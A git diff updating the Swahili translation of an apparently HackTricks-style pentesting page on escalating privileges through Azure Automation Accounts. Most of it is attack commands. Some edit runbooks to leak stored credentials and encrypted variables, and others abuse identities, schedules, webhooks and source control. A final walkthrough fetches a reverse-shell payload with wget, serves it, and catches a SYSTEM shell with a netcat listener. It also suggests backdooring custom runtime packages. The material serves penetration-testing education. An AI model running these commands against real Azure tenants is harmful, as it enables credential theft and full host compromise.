diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index 6a4dbd278..ea3c633aa 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -4,7 +4,7 @@ ## Azure Automation Accounts -Kwa maelezo zaidi angalia: +Kwa taarifa zaidi angalia: {{#ref}} ../az-services/az-automation-accounts.md @@ -12,29 +12,29 @@ Kwa maelezo zaidi angalia: ### Hybrid Workers Group -- **Kutoka kwa Akaunti ya Automation hadi VM** +- **Kutoka Automation Account hadi VM** -Kumbuka kwamba ikiwa kwa namna fulani mshambuliaji anaweza kutekeleza runbook isiyo na mipaka (code isiyo na mipaka) katika mfanyakazi wa hybrid, atakuwa **na uwezo wa kuhamia eneo la VM**. Hii inaweza kuwa mashine ya ndani, VPC ya wingu tofauti au hata VM ya Azure. +Kumbuka kwamba ikiwa kwa namna fulani mshambuliaji anaweza kutekeleza runbook (arbitrary code) katika hybrid worker, ataweza **pivot to the location of the VM**. Hii inaweza kuwa on-premise machine, VPC ya cloud tofauti au hata Azure VM. -Zaidi ya hayo, ikiwa mfanyakazi wa hybrid anafanya kazi katika Azure na Utambulisho wa Usimamizi mwingine umeunganishwa, runbook itakuwa na uwezo wa kufikia **utambulisho wa usimamizi wa runbook na utambulisho wote wa usimamizi wa VM kutoka kwa huduma ya metadata**. +Zaidi ya hayo, ikiwa hybrid worker inaendesha katika Azure na Managed Identities nyingine zimeambatishwa, runbook itakuwa na uwezo wa kufikia **managed identity ya runbook na Managed Identities zote za VM kutoka metadata service**. > [!TIP] -> Kumbuka kwamba **huduma ya metadata** ina URL tofauti (**`http://169.254.169.254`**) kuliko huduma ambayo inapata token za utambulisho wa usimamizi wa akaunti ya automation (**`IDENTITY_ENDPOINT`**). +> Kumbuka kwamba **metadata service** ina URL tofauti (**`http://169.254.169.254`**) kuliko huduma inayotumika kupata managed identities token ya automation account (**`IDENTITY_ENDPOINT`**). -- **Kutoka kwa VM hadi Akaunti ya Automation** +- **Kutoka VM kwenda Automation Account** -Zaidi ya hayo, ikiwa mtu atachafua VM ambapo script ya akaunti ya automation inafanya kazi, atakuwa na uwezo wa kupata metadata ya **Akaunti ya Automation** na kuifikia kutoka kwa VM ili kupata token za **Utambulisho wa Usimamizi** uliounganishwa na Akaunti ya Automation. +Zaidi ya hayo, ikiwa mtu atahujumu VM ambapo script ya Automation Account inaendesha, atakuwa na uwezo wa kupata metadata ya **Automation Account** na kuifikia kutoka VM ili kupata tokens za **Managed Identities** zilizowekwa kwenye Automation Account. -Kama inavyoonekana katika picha ifuatayo, kuwa na ufikiaji wa Msimamizi juu ya VM inawezekana kupata katika **mabadiliko ya mazingira ya mchakato** URL na siri za kufikia huduma ya metadata ya akaunti ya automation: +Kama inavyoonekana kwenye picha ifuatayo, kuwa na ufikiaji wa Administrator kwenye VM kunaruhusu kupata katika **environment variables of the process** URL na secret za kufikia automation account metadata service: ![]() ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -Kwa muhtasari ruhusa hizi zinaruhusu **kuunda, kubadilisha na kuendesha Runbooks** katika Akaunti ya Automation ambayo unaweza kutumia **kutekeleza code** katika muktadha wa Akaunti ya Automation na kupandisha haki kwa **Utambulisho wa Usimamizi** uliotolewa na kuvuja **akili** na **mabadiliko ya siri** yaliyohifadhiwa katika Akaunti ya Automation. +Kwa muhtasari, ruhusa hizi zina uwezo wa **create, modify and run Runbooks** ndani ya Automation Account ambazo unaweza kutumia ili **execute code** katika muktadha wa Automation Account na escalate privileges to the assigned **Managed Identities** na leak **credentials** na **encrypted variables** zilizohifadhiwa katika Automation Account. -Ruhusa **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** inaruhusu kubadilisha code ya Runbook katika Akaunti ya Automation kwa kutumia: +Ruhusa **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** inaruhusu kubadilisha msimbo wa Runbook katika Automation Account kwa kutumia: ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -47,16 +47,16 @@ $runbook_variable $creds.GetNetworkCredential().username $creds.GetNetworkCredential().password' ``` -Kumbuka jinsi skripti ya awali inaweza kutumika ku **vuja jina la mtumiaji na nenosiri** la akidi na thamani ya **kigeuzi kilichosimbwa** kilichohifadhiwa katika Akaunti ya Automation. +Angalia jinsi script iliyopita inaweza kutumika **leak the useranmd and password** ya credential na thamani ya **variable iliyosimbwa** iliyohifadhiwa katika Automation Account. -Ruhusa **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** inaruhusu mtumiaji kuchapisha Runbook katika Akaunti ya Automation ili mabadiliko yafanyike: +Ruhusa **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** inaruhusu mtumiaji kuchapisha Runbook katika Automation Account ili mabadiliko yafanyike: ```bash az automation runbook publish \ --resource-group \ --automation-account-name \ --name ``` -Ruhusa **`Microsoft.Automation/automationAccounts/jobs/write`** inaruhusu mtumiaji kuendesha Runbook katika Akaunti ya Automation kwa kutumia: +Ruhusa **`Microsoft.Automation/automationAccounts/jobs/write`** inaruhusu mtumiaji kuendesha Runbook katika Automation Account kwa kutumia: ```bash az automation runbook start \ --automation-account-name \ @@ -64,18 +64,18 @@ az automation runbook start \ --name \ [--run-on ] ``` -Ruhusa **`Microsoft.Automation/automationAccounts/jobs/output/read`** inaruhusu mtumiaji kusoma matokeo ya kazi katika Akaunti ya Automation kwa kutumia: +Ruhusa **`Microsoft.Automation/automationAccounts/jobs/output/read`** inamruhusu mtumiaji kusoma matokeo ya kazi katika Automation Account kwa kutumia: ```bash az rest --method GET \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" ``` -Ikiwa hakuna Runbooks zilizoundwa, au unataka kuunda mpya, utahitaji **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` na `Microsoft.Automation/automationAccounts/runbooks/write`** ili kufanya hivyo kwa kutumia: +Kama hakuna Runbooks zilizotengenezwa, au unataka kuunda mpya, utahitaji ruhusa **`Microsoft.Resources/subscriptions/resourcegroups/read` na `Microsoft.Automation/automationAccounts/runbooks/write`** ili kufanya hivyo kwa kutumia: ```bash az automation runbook create --automation-account-name --resource-group --name --type PowerShell ``` ### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -Ruhusa hii inamruhusu mtumiaji **kuteua utambulisho wa mtumiaji ulioendeshwa** kwa Akaunti ya Automation kwa kutumia: +Ruhusa hii inamruhusu mtumiaji **kuteua user managed identity** kwa Automation Account kwa kutumia: ```bash az rest --method PATCH \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ @@ -91,9 +91,9 @@ az rest --method PATCH \ ``` ### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write` -Kwa ruhusa **`Microsoft.Automation/automationAccounts/schedules/write`** inawezekana kuunda Ratiba mpya katika Akaunti ya Automation inayotekelezwa kila dakika 15 (siyo ya siri sana) kwa kutumia amri ifuatayo. +Kwa ruhusa **`Microsoft.Automation/automationAccounts/schedules/write`** inawezekana kuunda Schedule mpya katika Automation Account ambayo inatekelezwa kila dakika 15 (si ya siri sana) kwa kutumia amri ifuatayo. -Kumbuka kwamba **kipindi cha chini kwa ratiba ni dakika 15**, na **wakati wa kuanza wa chini ni dakika 5** katika siku zijazo. +Kumbuka kwamba **kipindi cha chini kabisa kwa Schedule ni dakika 15**, na **muda wa kuanza wa chini kabisa ni dakika 5** katika siku zijazo. ```bash ## For linux az automation schedule create \ @@ -115,7 +115,7 @@ az automation schedule create \ --frequency Minute \ --interval 15 ``` -Kisha, kwa ruhusa **`Microsoft.Automation/automationAccounts/jobSchedules/write`** inawezekana kupeana Scheduler kwa runbook kwa kutumia: +Kisha, kwa ruhusa **`Microsoft.Automation/automationAccounts/jobSchedules/write`** inawezekana kuambatisha Scheduler kwa runbook ukitumia: ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ @@ -134,22 +134,40 @@ az rest --method PUT \ }' ``` > [!TIP] -> Katika mfano uliopita, kitambulisho cha jobchedule kiliacha kama **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` kama mfano** lakini utahitaji kutumia thamani isiyo ya kawaida kuunda ugawaji huu. +> Katika mfano uliopita, kitambulisho cha jobchedule kiliwekwa kama **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` kama mfano**, lakini utahitaji kutumia thamani yoyote ili kuunda ugawaji huu. ### `Microsoft.Automation/automationAccounts/webhooks/write` -Kwa ruhusa **`Microsoft.Automation/automationAccounts/webhooks/write`** inawezekana kuunda Webhook mpya kwa Runbook ndani ya Akaunti ya Automation kwa kutumia amri ifuatayo. +Kwa ruhusa **`Microsoft.Automation/automationAccounts/webhooks/write`** inawezekana kuunda Webhook mpya kwa Runbook ndani ya Automation Account kwa kutumia moja ya amri zifuatazo. + +Kwa Azure Powershell: ```bash New-AzAutomationWebHook -Name -ResourceGroupName -AutomationAccountName -RunbookName -IsEnabled $true ``` -Amri hii inapaswa kurudisha URI ya webhook ambayo inaonyeshwa tu wakati wa kuunda. Kisha, ili kuita runbook kwa kutumia URI ya webhook +Kwa AzureCLI na REST: +```bash +az rest --method put \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2015-10-31" \ +--body '{ +"name": "", +"properties": { +"isEnabled": true, +"expiryTime": "2027-12-31T23:59:59+00:00", +"runOn": "", +"runbook": { +"name": "" +} +} +}' +``` +Amri hizi zinapaswa kurudisha webhook URI ambayo inaonyeshwa tu wakati wa uundaji. Kisha, kuitisha runbook kwa kutumia webhook URI ```bash curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \ -H "Content-Length: 0" ``` ### `Microsoft.Automation/automationAccounts/runbooks/draft/write` -Kwa ruhusa tu ya `Microsoft.Automation/automationAccounts/runbooks/draft/write` inawezekana **kusaidia kuboresha msimbo wa Runbook** bila kuuchapisha na kuufanya kazi kwa kutumia amri zifuatazo. +Kwa ruhusa tu `Microsoft.Automation/automationAccounts/runbooks/draft/write` inawezekana **kusasisha msimbo wa Runbook** bila kuuchapisha na kuendesha kwa kutumia amri zifuatazo. ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -175,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e- ``` ### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) -Ruhusa hii inamruhusu mtumiaji **kuunda udhibiti wa chanzo** kwa Akaunti ya Automation kwa kutumia amri kama ifuatavyo (hii inatumia Github kama mfano): +Ruhusa hii inaruhusu mtumiaji **configure a source control** kwa Automation Account kwa kutumia amri kama ifuatayo (hii inatumia Github kama mfano): ```bash az automation source-control create \ --resource-group \ @@ -190,16 +208,16 @@ az automation source-control create \ --token-type PersonalAccessToken \ --access-token github_pat_11AEDCVZ ``` -Hii itafanya kuagiza kiotomatiki runbooks kutoka kwa hazina ya Github hadi Akaunti ya Automation na kwa ruhusa nyingine za kuanza kuzitekeleza itakuwa **inawezekana kupandisha mamlaka**. +Hii itaingiza runbooks kutoka kwenye Github repository kwenda Automation Account kiotomatiki, na kwa ruhusa nyingine za kuanza kuziendesha itakuwa **possible to escalate privileges**. -Zaidi ya hayo, kumbuka kwamba ili udhibiti wa chanzo ufanye kazi katika Akaunti za Automation lazima iwe na utambulisho ulio na usimamizi wenye jukumu la **`Contributor`** na ikiwa ni utambulisho wa mtumiaji ulio na usimamizi, kitambulisho cha mteja wa MI lazima kielezwe katika variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. +Zaidi ya hayo, kumbuka kwamba ili source control ifanye kazi katika Automation Accounts lazima iwe na managed identity yenye role **`Contributor`**, na ikiwa ni user managed identity, client id ya MI lazima itajwe katika variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. > [!TIP] -> Kumbuka kwamba siwezi kubadilisha URL ya repo ya udhibiti wa chanzo mara tu inapoanzishwa. +> Kumbuka kwamba haiwezekani kubadilisha repo URL ya source control mara tu imeundwa. ### `Microsoft.Automation/automationAccounts/variables/write` -Kwa ruhusa **`Microsoft.Automation/automationAccounts/variables/write`** inawezekana kuandika variables katika Akaunti ya Automation kwa kutumia amri ifuatayo. +Kwa ruhusa **`Microsoft.Automation/automationAccounts/variables/write`** inawezekana kuandika variables katika Automation Account kwa kutumia amri ifuatayo. ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2019-06-01" \ @@ -213,53 +231,53 @@ az rest --method PUT \ } }' ``` -### Mazingira ya Kazi ya Kijadi +### Mazingira ya runtime maalum -Ikiwa akaunti ya automatisering inatumia mazingira ya kazi ya kijadi, inaweza kuwa inawezekana kubadilisha kifurushi maalum cha mazingira hayo kwa msimbo mbaya (kama **backdoor**). Kwa njia hii, kila wakati runbook inayotumia mazingira hayo ya kijadi inatekelezwa na kupakia kifurushi maalum, msimbo mbaya utaanzishwa. +Ikiwa automation account inatumia custom runtime environment, kunawezekana kuandika juu custom package ya runtime kwa code hatarishi (kama **a backdoor**). Kwa namna hii, kila mara runbook inayotumia runtime hiyo maalum itakapotekelezwa na kupakia custom package, code hiyo hatarishi itatekelezwa. -### Kuathiri Usanidi wa Jimbo +### Kuathiri State Configuration **Angalia chapisho kamili katika:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) - Hatua ya 1 — Unda Faili -**Faili Zinazohitajika:** Skripti mbili za PowerShell zinahitajika: -1. `reverse_shell_config.ps1`: Faili ya Usanidi wa Jimbo Linalotakiwa (DSC) inayopata na kutekeleza payload. Inapatikana kutoka [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). -2. `push_reverse_shell_config.ps1`: Skripti ya kuchapisha usanidi kwa VM, inapatikana katika [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). +**Faili Zinazohitajika:** Zinahitajika PowerShell scripts mbili: +1. `reverse_shell_config.ps1`: Faili ya Desired State Configuration (DSC) inayopakua na kutekeleza payload. Inapatikana kwenye [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). +2. `push_reverse_shell_config.ps1`: Script ya kuchapisha configuration kwenye VM, inapatikana kwenye [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). -**Ubadilishaji:** Vigezo na parameta katika faili hizi lazima zibadilishwe ili kufaa mazingira maalum ya mtumiaji, ikiwa ni pamoja na majina ya rasilimali, njia za faili, na vitambulisho vya seva/payload. +**Customization:** Variables na parameters katika faili hizi lazima zifanyiwe marekebisho kulingana na mazingira maalum ya mtumiaji, ikijumuisha majina ya resource, njia za faili, na vitambulisho vya server/payload. -- Hatua ya 2 — Zip Faili ya Usanidi +- Hatua ya 2 — Zip Faili ya Configuration -Faili `reverse_shell_config.ps1` inashirikiwa katika faili ya `.zip`, ikifanya iwe tayari kwa uhamishaji kwenda Akaunti ya Hifadhi ya Azure. +`reverse_shell_config.ps1` imepakwa katika faili `.zip`, ikifanya iwe tayari kwa kuhamishwa kwenye Azure Storage Account. ```bash Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip ``` -- Hatua ya 3 — Weka Muktadha wa Hifadhi & Pakia +- Hatua ya 3 — Weka Muktadha wa Hifadhi & Kupakia -Faili ya usanidi iliyoshonwa inapakiwa kwenye kontena la Hifadhi la Azure lililowekwa awali, azure-pentest, kwa kutumia cmdlet ya Azure Set-AzStorageBlobContent. +Faili ya usanidi iliyofungwa kwa zip inapakiwa kwenye container ya Azure Storage iliyowekwa awali, azure-pentest, kwa kutumia cmdlet ya Azure Set-AzStorageBlobContent. ```bash Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx ``` -- Step 4 — Prep Kali Box +- Hatua 4 — Andaa Kali Box -Seva ya Kali inashusha mzigo wa RevPS.ps1 kutoka kwenye hifadhi ya GitHub. +Seva ya Kali inapakua payload RevPS.ps1 kutoka kwenye repositori ya GitHub. ```bash wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 ``` -Script imehaririwa ili kubaini VM ya Windows inayolengwa na bandari ya shell ya kurudi. +Skripti imehaririwa ili kubainisha Windows VM lengwa na port kwa reverse shell. -- Hatua ya 5 — Chapisha Faili la Mipangilio +- Hatua 5 — Kuchapisha Faili la Mipangilio -Faili la mipangilio linafanywa kazi, na kusababisha script ya shell ya kurudi kupelekwa kwenye eneo lililotajwa kwenye VM ya Windows. +Faili la mipangilio linaendeshwa, likisababisha reverse-shell script kuwekwa katika eneo lililobainishwa kwenye Windows VM. -- Hatua ya 6 — Kuweka Payload na Kuanzisha Listener +- Hatua 6 — Kuhifadhi payload na kuanzisha listener -Python SimpleHTTPServer inaanzishwa ili kuhifadhi payload, pamoja na listener ya Netcat ili kukamata muunganisho unaokuja. +Python SimpleHTTPServer inaanzishwa ili kuhifadhi payload, pamoja na Netcat listener ili kunasa miunganisho inayoingia. ```bash sudo python -m SimpleHTTPServer 80 sudo nc -nlvp 443 ``` -Kazi iliyoandaliwa inatekeleza payload, ikipata haki za kiwango cha SYSTEM. +Kazi iliyopangwa inatekeleza payload, ikipata SYSTEM-level privileges. {{#include ../../../banners/hacktricks-training.md}}